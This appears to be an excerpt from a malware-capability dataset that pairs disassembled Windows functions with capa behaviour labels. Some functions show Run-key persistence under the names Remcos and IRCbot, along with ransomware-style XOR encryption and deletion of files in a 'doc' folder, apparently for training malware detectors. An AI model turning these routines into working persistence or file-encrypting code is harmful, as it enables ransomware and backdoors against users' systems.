joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14016a0f0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
xor esi, esi
mov rdi, rcx
mov qword [rcx + 8], rsi
call fcn.14016c6c0
mov edx, 0xa0
mov rcx, rdi
mov dword [rsp + 0x38], eax
call fcn.14016c690
mov rbx, rax
test rax, rax
jne 0x14016a146
mov rcx, rdi
call fcn.14016c6d0
mov rcx, qword [rdi]
mov dword [rcx + 0x28], gethostname
mov rcx, qword [rdi]
mov dword [rcx + 0x2c], esi
mov rdx, qword [rdi]
mov rcx, rdi
call qword [rdx]
mov dword [rbx + 0x5c], 0x3b9aca00
lea rax, [fcn.140169c90]
lea rcx, str.JPEGMEM
mov qword [rbx], rax
lea rax, [fcn.140169ac0]
mov qword [rbx + 8], rax
lea rax, [fcn.140169bb0]
mov qword [rbx + 0x10], rax
lea rax, [fcn.1401699d0]
mov qword [rbx + 0x18], rax
lea rax, [0x14016a510]
mov qword [rbx + 0x20], rax
lea rax, [0x14016a460]
mov qword [rbx + 0x28], rax
lea rax, [0x14016a280]
mov qword [rbx + 0x30], rax
lea rax, [0x140169780]
mov qword [rbx + 0x38], rax
lea rax, [0x140169520]
mov qword [rbx + 0x40], rax
lea rax, [0x140169fa0]
mov qword [rbx + 0x48], rax
lea rax, [0x14016a5c0]
mov qword [rbx + 0x50], rax
mov eax, dword [rsp + 0x38]
mov dword [rbx + 0x58], eax
mov qword [rbx + 0x68], rsi
mov qword [rbx + 0x78], rsi
mov qword [rbx + 0x60], rsi
mov qword [rbx + 0x70], rsi
mov qword [rbx + 0x80], rsi
mov qword [rbx + 0x88], rsi
mov qword [rbx + 0x90], 0xa0
mov qword [rdi + 8], rbx
call qword [sym.imp.msvcrt.dll_getenv]
test rax, rax
je 0x14016a250
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, str._ld_c
mov rcx, rax
mov byte [rsp + 0x30], 0x78
call qword [sym.imp.msvcrt.dll_sscanf]
test eax, eax
jle 0x14016a250
movzx eax, byte [rsp + 0x30]
sub al, 0x4d
test al, 0xdf
jne 0x14016a243
imul eax, dword [rsp + 0x38], 0x3e8
jmp 0x14016a247
mov eax, dword [rsp + 0x38]
imul eax, eax, 0x3e8
mov dword [rbx + 0x58], eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14017c904
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp dword [0x1408fe170], 0
mov r14, rdx
mov r15, rcx
lea rbx, [0x1408fe180]
jne 0x14017c951
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rcx, rbx
mov dword [0x1408fe1a8], eax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x1408fe170], 1
mov ecx, dword [0x1408fe1a8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, rax
test rax, rax
jne 0x14017ca26
mov rcx, qword [0x14087fe98]
lea edx, [rax + 8]
lea r8d, [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x14017ca51
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x1408fe178]
test rax, rax
je 0x14017c9a1
mov qword [rax], rbp
mov rcx, rbx
mov qword [rbp + 8], rax
mov qword [0x1408fe178], rbp
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
lea r9, [rbp + 0x20]
mov r8, rdi
mov rcx, rax
mov rdx, rbx
mov dword [rsp + 0x20], 0x100000
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x18]
lea r8, [0x14017ca6c]
mov r9, rbp
mov dword [rsp + 0x28], 8
or dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov ecx, dword [0x1408fe1a8]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, qword [0x14087fe98]
xor edx, edx
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14017ca51
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov qword [rbp + 0x10], rax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x140001000
Capabilities:
Check if file exists
Create directory
Delete file
Get file attributes
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
lea rax, vtable.RemcosA.0
mov rdi, rcx
mov qword [rcx], rax
xor ebp, ebp
mov word [rcx + 8], bp
xor edx, edx
add rcx, 0xa
mov r8d, 0x206
call fcn.1400030a0
lea rcx, [rdi + 0x212]
mov word [rdi + 0x210], bp
xor edx, edx
mov r8d, 0x206
call fcn.1400030a0
lea rcx, [rdi + 0x41a]
mov word [rdi + 0x418], bp
xor edx, edx
mov r8d, 0x206
call fcn.1400030a0
mov r8d, 0x104
lea rdx, [rdi + 8]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
or rax, 0xffffffffffffffff
mov rcx, rax
cmp word [rdi + rcx*2 + 0xa], bp
lea rcx, [rcx + 1]
jne 0x140001092
cmp word [rdi + rcx*2 + 6], 0x5c
je 0x1400010ba
cmp word [rdi + rax*2 + 0xa], bp
lea rax, [rax + 1]
jne 0x1400010a5
mov ecx, 0x5c
mov word [rdi + rax*2 + 8], cx
lea r8, str.Crypto
mov edx, 0x104
lea rcx, [rdi + 8]
call fcn.140003c54
lea r9, [rdi + 8]
mov edx, 0x104
lea r8, str._s_trigger_record.exe
lea rcx, [rdi + 0x210]
call fcn.1400017c0
lea r9, [rdi + 8]
mov edx, 0x104
lea r8, str._s_trigger_detect.vbs
lea rcx, [rdi + 0x418]
call fcn.1400017c0
xor edx, edx
lea rcx, [rdi + 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rdi + 0x210]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001132
lea rcx, [rdi + 0x210]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rdi + 0x418]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001151
lea rcx, [rdi + 0x418]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rdi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140001170
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x470
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x460], rax
lea rax, [rsp + 0x30]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movups xmm0, xmmword [str.Remcos.A.exe]
lea rcx, [rsp + 0x5a]
movzx eax, word [0x140024378]
movsd xmm1, qword [0x140024370]
xor edx, edx
mov r8d, 0x1ee
movaps xmmword [rsp + 0x40], xmm0
movsd qword [rsp + 0x50], xmm1
mov word [rsp + 0x58], ax
call fcn.1400030a0
or rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x40]
mov rax, rbx
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001200
mov rcx, qword [rsp + 0x30]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, str.Remcos
lea rax, [rsp + 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rax, [rsp + 0x38]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movups xmm0, xmmword [str.Remcos.A.exe]
lea rcx, [rsp + 0x26a]
movzx eax, word [0x140024378]
movsd xmm1, qword [0x140024370]
xor edx, edx
mov r8d, 0x1ee
movaps xmmword [rsp + 0x250], xmm0
movsd qword [rsp + 0x260], xmm1
mov word [rsp + 0x268], ax
call fcn.1400030a0
lea rax, [rsp + 0x250]
nop
cmp word [rax + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x1400012b0
mov rcx, qword [rsp + 0x38]
lea eax, [rbx*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, str.Remcos
lea rax, [rsp + 0x250]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140001c00
add rsp, 0x470
pop rbx
ret
Function at 0x1400013e0
Capabilities:
Check if file exists
Delete file
Get file attributes
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
lea rax, vtable.IRCbot.0
mov rdi, rcx
mov qword [rcx], rax
xor ebp, ebp
mov word [rcx + 8], bp
xor edx, edx
add rcx, 0xa
mov r8d, 0x206
call fcn.1400030a0
lea rcx, [rdi + 0x212]
mov word [rdi + 0x210], bp
xor edx, edx
mov r8d, 0x206
call fcn.1400030a0
mov r8d, 0x104
lea rdx, [rdi + 8]
lea rcx, str.Windir
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
or rax, 0xffffffffffffffff
mov rcx, rax
cmp word [rdi + rcx*2 + 0xa], bp
lea rcx, [rcx + 1]
jne 0x140001451
cmp word [rdi + rcx*2 + 6], 0x5c
je 0x140001479
cmp word [rdi + rax*2 + 0xa], bp
lea rax, [rax + 1]
jne 0x140001464
mov ecx, 0x5c
mov word [rdi + rax*2 + 8], cx
lea r9, [rdi + 8]
mov edx, 0x104
lea r8, str._strigger_detect.exe
lea rcx, [rdi + 0x210]
call fcn.1400017c0
lea rcx, [rdi + 0x210]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400014b4
lea rcx, [rdi + 0x210]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400014d0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x268
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rcx, str.trigger_master:_Backdoor_IRCbot_n
call fcn.140001750
lea rax, [rsp + 0x30]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [0x1400244b8]
lea rcx, [rsp + 0x56]
movups xmm0, xmmword [str.IRCbot.exe]
mov dword [rsp + 0x50], eax
xor edx, edx
movzx eax, word [0x1400244bc]
mov r8d, 0x1f2
movaps xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x54], ax
call fcn.1400030a0
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001560
lea ecx, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], ecx
lea rax, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
lea rdx, str.IRCbot
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001c00
add rsp, 0x268
ret
Function at 0x1400015c0
Capabilities:
Delete registry key
Persist via run registry key

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, rcx
call fcn.1400014d0
call fcn.140001990
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunServices_c3v09
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea r8, [rsp + 0x40]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunServices_c3v09
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.trigger_detected__press_enter__n
call fcn.1400016f0
call fcn.1400071bc
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [rbx + 0x210]
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000166c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001c00
add rsp, 0x50
pop rbx
ret

Function at 0x140001820
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push rsi
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80000080
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000187f
lea eax, [rsi - 3]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001c00
add rsp, 0x50
pop rsi
ret
xor edx, edx
mov qword [rsp + 0x68], rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
movsxd rbx, eax
test eax, eax
jne 0x1400018a9
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x78
jmp 0x140001976
mov qword [rsp + 0x70], rbp
mov rcx, rbx
mov qword [rsp + 0x78], rdi
call fcn.1400071d4
mov rbp, rax
test rax, rax
jne 0x1400018d4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [rbp - 0xc]
jmp 0x14000196c
mov r8, rbx
xor edx, edx
mov rcx, rbp
call fcn.1400030a0
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.140007210
xor edi, edi
cmp dword [rsp + 0x40], edi
jle 0x140001929
mov rbx, rbp
call fcn.1400071e4
xor byte [rbx], al
lea rbx, [rbx + 1]
inc edi
cmp edi, dword [rsp + 0x40]
jl 0x140001916
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov rdx, rbp
mov qword [rsp + 0x20], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
call fcn.1400071dc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbp, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001c00
add rsp, 0x50
pop rsi
ret
Function at 0x140001990
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push rbx
sub rsp, 0x6a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x690], rax
xor edx, edx
lea rcx, [rsp + 0x480]
mov r8d, 0x208
xor ebx, ebx
call fcn.1400030a0
xor edx, edx
lea rcx, [rsp + 0x270]
mov r8d, 0x208
call fcn.1400030a0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x250
call fcn.1400030a0
lea rdx, str..ACP
xor ecx, ecx
call fcn.140007310
mov r8d, 0x104
lea rdx, [rsp + 0x480]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [rbx + 0x5c]
lea rcx, [rsp + 0x480]
call fcn.140002bfc
test rax, rax
jne 0x140001a2a
lea eax, [rbx - 0xe]
jmp 0x140001b6a
lea r8, str.doc_
mov qword [rsp + 0x6b0], rdi
mov edx, 0x104
mov word [rax + 2], bx
lea rcx, [rsp + 0x480]
call fcn.140003c54
lea r8, [rsp + 0x480]
lea rdx, str._s
lea rcx, [rsp + 0x270]
call fcn.140001b90
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001a90
lea eax, [rdi - 0xd]
jmp 0x140001b62
cmp word [rsp + 0x4c], 0x2e
jne 0x140001ab4
movzx eax, word [rsp + 0x4e]
test ax, ax
je 0x140001b28
cmp ax, 0x2e
jne 0x140001ab4
cmp word [rsp + 0x50], 0
je 0x140001b28
test byte [rsp + 0x20], 0x10
jne 0x140001b28
xor edx, edx
lea rcx, [rsp + 0x270]
mov r8d, 0x104
call fcn.1400030a0
lea r9, [rsp + 0x4c]
lea r8, [rsp + 0x480]
lea rdx, str._s_s
lea rcx, [rsp + 0x270]
call fcn.140001b90
lea rcx, [rsp + 0x270]
call fcn.140001820
test eax, eax
js 0x140001b40
inc ebx
lea r8, [rsp + 0x270]
mov edx, ebx
lea rcx, str._t_02d:_ransom__ws_success_n
call fcn.140001750
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140001a90
jmp 0x140001b57
mov r8d, eax
lea rdx, [rsp + 0x270]
lea rcx, str.ransom__ws_failed__d_n
call fcn.140001750
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, qword [rsp + 0x6b0]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.140001c00
add rsp, 0x6a0
pop rbx
ret
Function at 0x140008200
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140007fd4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007fd4
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007fd4
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007fd4
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007fd4
cmp dword [rcx + 0x84], 0xe
jbe 0x140007fd4
cmp dword [rcx + 0xf8], esi
je 0x140007fd4
mov ecx, r14d
call fcn.14000811c
mov ecx, 2
call fcn.14000e1b8
nop
cmp byte [0x140028448], 0
jne 0x14000809e
mov r15d, 1
mov eax, r15d
xchg dword [0x140028438], eax
test ebx, ebx
jne 0x140008047
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140028440]
cmp rcx, rax
je 0x14000803e
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140002b68]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140028488]
jmp 0x140008053
cmp ebx, r15d
jne 0x140008059
lea rcx, [0x1400284a0]
call fcn.140009990
nop
test ebx, ebx
jne 0x140008070
lea rdx, [0x14001b358]
lea rcx, [0x14001b338]
call fcn.140007e94
lea rdx, [0x14001b368]
lea rcx, [0x14001b360]
call fcn.140007e94
movzx eax, byte [0x140028448]
test esi, esi
cmove eax, r15d
mov byte [0x140028448], al
jmp 0x14000809e
mov ecx, 2
call fcn.14000e20c
test esi, esi
jne 0x1400080b5
mov ecx, r14d
call fcn.1400080d0
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140007f64
Function at 0x140001070
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rsi
sub rsp, 0x110
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x1400011d3
movsxd rcx, dword [rsi + 0x3c]
add rcx, rsi
cmp dword [rcx], 0x4550
jne 0x1400011d3
movups xmm0, xmmword [rcx + 0x18]
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x128], rbp
movups xmm1, xmmword [rcx + 0x28]
mov qword [rsp + 0x130], rdi
xor edi, edi
movups xmmword [rdx], xmm0
mov qword [rsp + 0x138], r14
movups xmm0, xmmword [rcx + 0x38]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x48]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x68]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x78]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x88]
sub rcx, 0xffffffffffffff68
movups xmmword [rdx - 0x10], xmm0
movups xmm1, xmmword [rcx]
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm1
movups xmm1, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm0
movups xmm0, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm1
movups xmm1, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm0
movups xmmword [rdx + 0x60], xmm1
mov ebp, dword [rsp + 0x90]
mov r14d, dword [rbp + rsi + 0x20]
add r14, rsi
cmp dword [rbp + rsi + 0x14], 0xd2
je 0x1400011b0
mov qword [rsp + 0x120], rbx
mov ebx, dword [r14 + rdi*4]
lea rdx, str.MessageBoxA
add rbx, rsi
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140001199
mov rdx, rbx
lea rcx, [0x140002270]
call fcn.140001010
mov eax, dword [rbp + rsi + 0x14]
inc edi
sub eax, 0xd2
cmp edi, eax
jb 0x140001170
mov rbx, qword [rsp + 0x120]
mov rdi, qword [rsp + 0x130]
xor eax, eax
mov rbp, qword [rsp + 0x128]
mov r14, qword [rsp + 0x138]
add rsp, 0x110
pop rsi
ret
xor eax, eax
add rsp, 0x110
pop rsi
ret

Function at 0x140001ac4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b0e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b0e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b0e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b0e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b0e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b10
xor al, al
add rsp, 0x28
ret
Function at 0x180002adc
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x180002b40
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x180002b2e
mov r8, qword [rbx]
xor edx, edx
mov r8d, dword [r8 + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180002b27
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x180002afb
mov r8, qword [rbx]
xor edx, edx
mov rcx, qword [0x18012c778]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180002b50
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov dword [rax + 0x10], edx
push rdi
sub rsp, 0x20
mov eax, ecx
imul rdi, rax, 0x38
add rdi, qword [0x18012c790]
mov rdx, qword [rdi]
mov cl, byte [rdi + 0x20]
mov rsi, rdx
lea rbx, [rdx - 5]
and cl, 1
je 0x180002b89
mov rsi, rbx
movzx eax, cl
lea r9, [rsp + 0x38]
test cl, cl
mov r8d, 0x40
cmove rbx, rdx
lea rbp, [rax*2 + 5]
mov rcx, rbx
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180002bbc
mov eax, 0xa
jmp 0x180002c09
mov byte [rbx], 0xe9
mov eax, dword [rdi + 8]
sub eax, esi
sub eax, 5
mov dword [rbx + 1], eax
test byte [rdi + 0x20], 1
je 0x180002bd8
mov rax, qword [rdi]
mov word [rax], 0xf9eb
mov r8d, dword [rsp + 0x38]
lea r9, [rsp + 0x38]
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [rdi + 0x20], 6
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x180002fd8
Capabilities:
Check for software breakpoints

Disassembly:
mov r8b, byte [rcx]
mov r9d, edx
test r8b, r8b
je 0x180002fef
cmp r8b, 0x90
je 0x180002fef
cmp r8b, 0xcc
jne 0x180003011
mov r10d, 1
mov edx, r10d
cmp r9d, r10d
jbe 0x18000300d
mov eax, edx
cmp byte [rax + rcx], r8b
jne 0x180003011
add edx, r10d
cmp edx, r9d
jb 0x180002ffd
mov eax, r10d
ret
xor eax, eax
ret